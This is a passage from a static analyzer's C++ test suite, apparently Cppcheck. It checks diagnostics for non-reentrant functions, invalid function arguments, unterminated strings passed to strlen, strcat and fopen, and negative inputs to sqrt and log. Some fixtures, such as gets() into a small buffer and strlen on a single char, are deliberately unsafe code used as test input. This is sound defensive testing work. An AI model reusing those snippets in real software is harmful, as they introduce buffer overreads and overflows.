\" char s [ 10 ] ;\\n\"\n \" gets ( s ) ;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_crypt() {\n check(\"void f(char *pwd)\\n\"\n \"{\\n\"\n \" char *cpwd;\"\n \" crypt(pwd, cpwd);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Return value of function crypt() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:20]: (portability) Non reentrant function 'crypt' called. For threadsafe applications it is recommended to use the reentrant replacement function 'crypt_r'. [cryptCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *pwd = getpass(\\\"Password:\\\");\"\n \" char *cpwd;\"\n \" crypt(pwd, cpwd);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:57]: (warning) Return value of function crypt() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:57]: (portability) Non reentrant function 'crypt' called. For threadsafe applications it is recommended to use the reentrant replacement function 'crypt_r'. [cryptCalled]\\n\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" int crypt = 0;\"\n \" return crypt;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_namespaceHandling() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" time_t t = 0;\"\n \" auto lt = std::localtime(&t);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:37]: (portability) Non reentrant function 'localtime' called. For threadsafe applications it is recommended to use the reentrant replacement function 'localtime_r'. [localtimeCalled]\\n\", errout_str());\n\n // Passed as function argument\n check(\"void f()\\n\"\n \"{\\n\"\n \" printf(\\\"Magic guess: %d\\\", getpwent());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:31]: (portability) Non reentrant function 'getpwent' called. For threadsafe applications it is recommended to use the reentrant replacement function 'getpwent_r'. [getpwentCalled]\\n\", errout_str());\n\n // Pass return value\n check(\"void f()\\n\"\n \"{\\n\"\n \" time_t t = 0;\"\n \" struct tm *foo = localtime(&t);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:39]: (portability) Non reentrant function 'localtime' called. For threadsafe applications it is recommended to use the reentrant replacement function 'localtime_r'. [localtimeCalled]\\n\", errout_str());\n\n // Access via global namespace\n check(\"void f()\\n\"\n \"{\\n\"\n \" ::getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Return value of function ::getpwent() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:7]: (portability) Non reentrant function 'getpwent' called. For threadsafe applications it is recommended to use the reentrant replacement function 'getpwent_r'. [getpwentCalled]\\n\", errout_str());\n\n // Be quiet on function definitions\n check(\"int getpwent()\\n\"\n \"{\\n\"\n \" return 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Be quiet on other namespaces\n check(\"void f()\\n\"\n \"{\\n\"\n \" foobar::getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Be quiet on class member functions\n check(\"void f()\\n\"\n \"{\\n\"\n \" foobar.getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidFunctionUsage1() {\n check(\"void f() { memset(a,b,sizeof(a)!=12); }\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n check(\"void f() { memset(a,b,sizeof(a)!=0); }\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n check(\"void f() { memset(a,b,!c); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6990\n check(\"void f(bool c) { memset(a,b,c); }\");\n ASSERT_EQUALS(\"[test.cpp:1:29]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n check(\"void f() { memset(a,b,true); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6588 (c mode)\n check(\"void record(char* buf, int n) {\\n\"\n \" memset(buf, 0, n < 255);\\n\" /* KO */\n \" memset(buf, 0, n < 255 ? n : 255);\\n\" /* OK */\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:2:20]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6588 (c++ mode)\n check(\"void record(char* buf, int n) {\\n\"\n \" memset(buf, 0, n < 255);\\n\" /* KO */\n \" memset(buf, 0, n < 255 ? n : 255);\\n\" /* OK */\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n check(\"int boolArgZeroIsInvalidButOneIsValid(int a, int param) {\\n\"\n \" return div(a, param > 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (error) Invalid div() argument nr 2. The value is 0 or 1 (boolean) but the valid values are ':-1,1:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void boolArgZeroIsValidButOneIsInvalid(int param) {\\n\"\n \" strtol(a, b, param > 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Invalid strtol() argument nr 3. The value is 0 or 1 (boolean) but the valid values are '0,2:36'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() { strtol(a,b,1); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid strtol() argument nr 3. The value is 1 but the valid values are '0,2:36'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() { strtol(a,b,10); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10754\n \" int N = -1;\\n\"\n \" for (long i = 0; i < g(); i++)\\n\"\n \" N = h(N);\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (warning) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f(std::vector& v, int N) {\\n\"\n \" if (N < -1)\\n\"\n \" return;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:14]: (warning) Either the condition 'N<-1' is redundant or v.resize() argument nr 1 can have invalid value. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, int N) {\\n\"\n \" if (N == -1) {}\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'N==-1' is redundant or v.resize() argument nr 1 can have invalid value. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, int N, bool b) {\\n\"\n \" if (b)\\n\"\n \" N = -1;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (warning) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int N = -1;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (error) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\",\n errout_str());\n }\n\n void invalidFunctionUsageStrings() {\n check(\"size_t f() { char x = 'x'; return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f(char x) { return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:34]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { char x = '\\\\0'; return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() {\\n\"\n \" char x;\\n\"\n \" if (y)\\n\"\n \" x = '\\\\0';\\n\"\n \" else\\n\"\n \" x = 'a';\\n\"\n \" return strlen(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"int f() { char x = '\\\\0'; return strcmp(\\\"Hello world\\\", &x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { char x = 'x'; return strcmp(\\\"Hello world\\\", &x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: (error) Invalid strcmp() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f(char x) { char * y = &x; return strlen(y); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n check(\"size_t f(char x) { char * y = &x; char *z = y; return strlen(z); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n check(\"size_t f() { char x = 'x'; char * y = &x; char *z = y; return strlen(z); }\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1:42]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", \"\", errout_str());\n\n check(\"size_t f() { char x = '\\\\0'; char * y = &x; char *z = y; return strlen(z); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { char x[] = \\\"Hello world\\\"; return strlen(x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f(char x[]) { return strlen(x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(char x, char y) { return strcmp(&x, &y); }\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (error) Invalid strcmp() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\"\n \"[test.cpp:1:43]: (error) Invalid strcmp() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"size_t f() { char x[] = \\\"Hello world\\\"; return strlen(&x[0]); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { char* x = \\\"Hello world\\\"; return strlen(&x[0]); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" char x;\\n\"\n \"};\\n\"\n \"size_t f() {\\n\"\n \" S s1 = {0};\\n\"\n \" S s2;\\n;\"\n \" s2.x = 'x';\\n\"\n \" size_t l1 = strlen(&s1.x);\\n\"\n \" size_t l2 = strlen(&s2.x);\\n\"\n \" return l1 + l2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:22]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\"\n \"[test.cpp:9:22]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"const char x = 'x'; size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"struct someStruct {\\n\"\n \" union {\\n\"\n \" struct {\\n\"\n \" uint16_t nr;\\n\"\n \" uint8_t d[40];\\n\"\n \" } data;\\n\"\n \" char buf[42];\\n\"\n \" } x;\\n\"\n \"};\\n\"\n \"int f(struct someStruct * const tp, const int k)\\n\"\n \"{\\n\"\n \" return strcmp(&tp->x.buf[k], \\\"needle\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct someStruct {\\n\"\n \" char buf[42];\\n\"\n \"};\\n\"\n \"int f(struct someStruct * const tp, const int k)\\n\"\n \"{\\n\"\n \" return strcmp(&tp->buf[k], \\\"needle\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char x = 'x'; size_t f() { char y = x; return strlen(&y); }\");\n ASSERT_EQUALS(\"[test.cpp:1:60]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"const char x = '\\\\0'; size_t f() { return strlen(&x); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char x = '\\\\0'; size_t f() { char y = x; return strlen(&y); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() {\\n\"\n \" char * a = \\\"Hello world\\\";\\n\"\n \" char ** b = &a;\\n\"\n \" return strlen(&b[0][0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() {\\n\"\n \" char ca[] = \\\"asdf\\\";\\n\"\n \" return strlen((char*) &ca);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5225\n check(\"int main(void)\\n\"\n \"{\\n\"\n \" char str[80] = \\\"hello worl\\\";\\n\"\n \" char d = 'd';\\n\"\n \" strcat(str, &d);\\n\"\n \" puts(str);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:15]: (error) Invalid strcat() argument nr 2. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[1] = { \\'x\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[2] = { \\'x\\', \\'y\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'y\\' ,\\'\\\\0\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'\\\\0\\' ,\\'y\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[3] = { \\'x\\', \\'y\\' };\\n\" // implicit '\\0' added at the end\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'\\\\0\\' };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'0\\' + 42 };\\n\" // no size is explicitly defined, no implicit '\\0' is added\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { \\'0\\' + 42, \\'x\\' };\\n\" // no size is explicitly defined, no implicit '\\0' is added\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (error) Invalid fopen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[2] = { \\'0\\' + 42 };\\n\" // implicitly '\\0' added at the end because size is set to 2\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"FILE* f(void) {\\n\"\n \" const char fileName[] = { };\\n\"\n \" return fopen(fileName, \\\"r\\\"); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void scanMetaTypes()\\n\" // don't crash\n \"{\\n\"\n \" QVector metaTypes;\\n\"\n \" for (int mtId = 0; mtId <= QMetaType::User; ++mtId) {\\n\"\n \" const auto name = QMetaType::typeName(mtId);\\n\"\n \" if (strstr(name, \\\"GammaRay::\\\") != name)\\n\"\n \" metaTypes.push_back(mtId);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" const char c[3] = \\\"abc\\\";\\n\"\n \" return strlen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Invalid strlen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" const wchar_t c[3] = L\\\"abc\\\";\\n\"\n \" return wcslen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Invalid wcslen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"void f(char* dest) {\\n\"\n \" char if_name[(IF_NAMESIZE > 21 ? IF_NAMESIZE : 21) + 1] = \\\"%\\\";\\n\"\n \" strcat(dest, if_name);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" const char c[3] = \\\"ab\\\\0\\\";\\n\"\n \" return strlen(c);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int n) {\\n\" // #11179\n \" char s[8] = \\\" \\\";\\n\"\n \" n = (n + 1) % 100;\\n\"\n \" sprintf(s, \\\"lwip%02d\\\", n);\\n\"\n \" s[strlen(s)] = ' ';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t f() { wchar_t x = L'x'; return wcslen(&x); }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (error) Invalid wcslen() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n\n check(\"void f() { char a[10] = \\\"1234567890\\\"; puts(a); }\", dinit(CheckOptions, $.cpp = false)); // #1770\n ASSERT_EQUALS(\"[test.c:1:44]: (error) Invalid puts() argument nr 1. A nul-terminated string is required. [invalidFunctionArgStr]\\n\", errout_str());\n }\n\n void invalidFunctionArg1() {\n const Settings settingsUnix32 = settingsBuilder(settings).platform(Platform::Unix32).build();\n check(\"int main() {\\n\"\n \" char tgt[7];\\n\"\n \" char src[7+1] = \\\"7777777\\\";\\n\"\n \" if (sizeof tgt <= sizeof src) {\\n\"\n \" memmove(&tgt, &src, sizeof tgt);\\n\"\n \" } else {\\n\"\n \" memmove(&tgt, &src, sizeof src);\\n\"\n \" memset(&tgt + sizeof src, ' ', sizeof tgt - sizeof src);\\n\"\n \" }\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = false, $.s = &settingsUnix32));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_sqrt() {\n // sqrt, sqrtf, sqrtl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(-1) << std::endl;\\n\"\n \" std::cout << sqrtf(-1) << std::endl;\\n\"\n \" std::cout << sqrtl(-1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid sqrt() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid sqrtf() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid sqrtl() argument nr 1. The value is -1 but the valid values are '0.0:'. [invalidFunctionArg]\\n\", errout_str());\n\n // implementation-defined behaviour for \"finite values of x<0\" only:\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(-0.) << std::endl;\\n\"\n \" std::cout << sqrtf(-0.) << std::endl;\\n\"\n \" std::cout << sqrtl(-0.) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << sqrt(1) << std::endl;\\n\"\n \" std::cout << sqrtf(1) << std::endl;\\n\"\n \" std::cout << sqrtl(1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_log() {\n // log,log10,logf,logl,log10f,log10l,log2,log2f,log2l,log1p,log1pf,log1pl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-2) << std::endl;\\n\"\n \" std::cout << logf(-2) << std::endl;\\n\"\n \" std::cout << logl(-2) << std::endl;\\n\"\n \" std::cout << log10(-2) << std::endl;\\n\"\n \" std::cout << log10f(-2) << std::endl;\\n\"\n \" std::cout << log10l(-2) << std::endl;\\n\"\n \" std::cout << log2(-2) << std::endl;\\n\"\n \" std::cout << log2f(-2) << std::endl;\\n\"\n \" std::cout << log2l(-2) << std::endl;\\n\"\n \" std::cout << log1p(-3) << std::endl;\\n\"\n \" std::cout << log1pf(-3) << std::endl;\\n\"\n \" std::cout << log1pl(-3) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24]: (error) Invalid log() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:27]: (error) Invalid log10f() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() argument nr 1. The value is -2 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:26]: (error) Invalid log2l() argument nr 1. The value is -2 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -2 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -2 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -2 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -2 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -2 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -2 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -2 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -2 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -2 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -3 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -3 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -3 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-1) << std::endl;\\n\"\n \" std::cout << logf(-1) << std::endl;\\n\"\n \" std::cout << logl(-1) << std::endl;\\n\"\n \" std::cout << log10(-1) << std::endl;\\n\"\n \" std::cout << log10f(-1) << std::endl;\\n\"\n \" std::cout << log10l(-1) << std::endl;\\n\"\n \" std::cout << log2(-1) << std::endl;\\n\"\n \" std::cout << log2f(-1) << std::endl;\\n\"\n \" std::cout << log2l(-1) << std::endl;\\n\"\n \" std::cout << log1p(-2) << std::endl;\\n\"\n \" std::cout << log1pf(-2) << std::endl;\\n\"\n \" std::cout << log1pl(-2) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:24]: (error) Invalid log() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:27]: (error) Invalid log10f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:26]: (error) Invalid log2l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -1 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -1 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -1 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -1 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -1 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -1 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -1 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -1 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -1 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -2 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -2 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -2 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-1.0) << std::endl;\\n\"\n \" std::cout << logf(-1.0) << std::endl;\\n\"\n \" std::cout << logl(-1.0) << std::endl;\\n\"\n \" std::cout << log10(-1.0) << std::endl;\\n\"\n \" std::cout << log10f(-1.0) << std::endl;\\n\"\n \" std::cout << log10l(-1.0) << std::endl;\\n\"\n \" std::cout << log2(-1.0) << std::endl;\\n\"\n \" std::cout << log2f(-1.0) << std::endl;\\n\"\n \" std::cout << log2l(-1.0) << std::endl;\\n\"\n \" std::cout << log1p(-2.0) << std::endl;\\n\"\n \" std::cout << log1pf(-2.0) << std::endl;\\n\"\n \" std::cout << log1pl(-2.0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid log() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid logf() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid logl() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:27]: (error) Invalid log10() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:28]: (error) Invalid log10f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:28]: 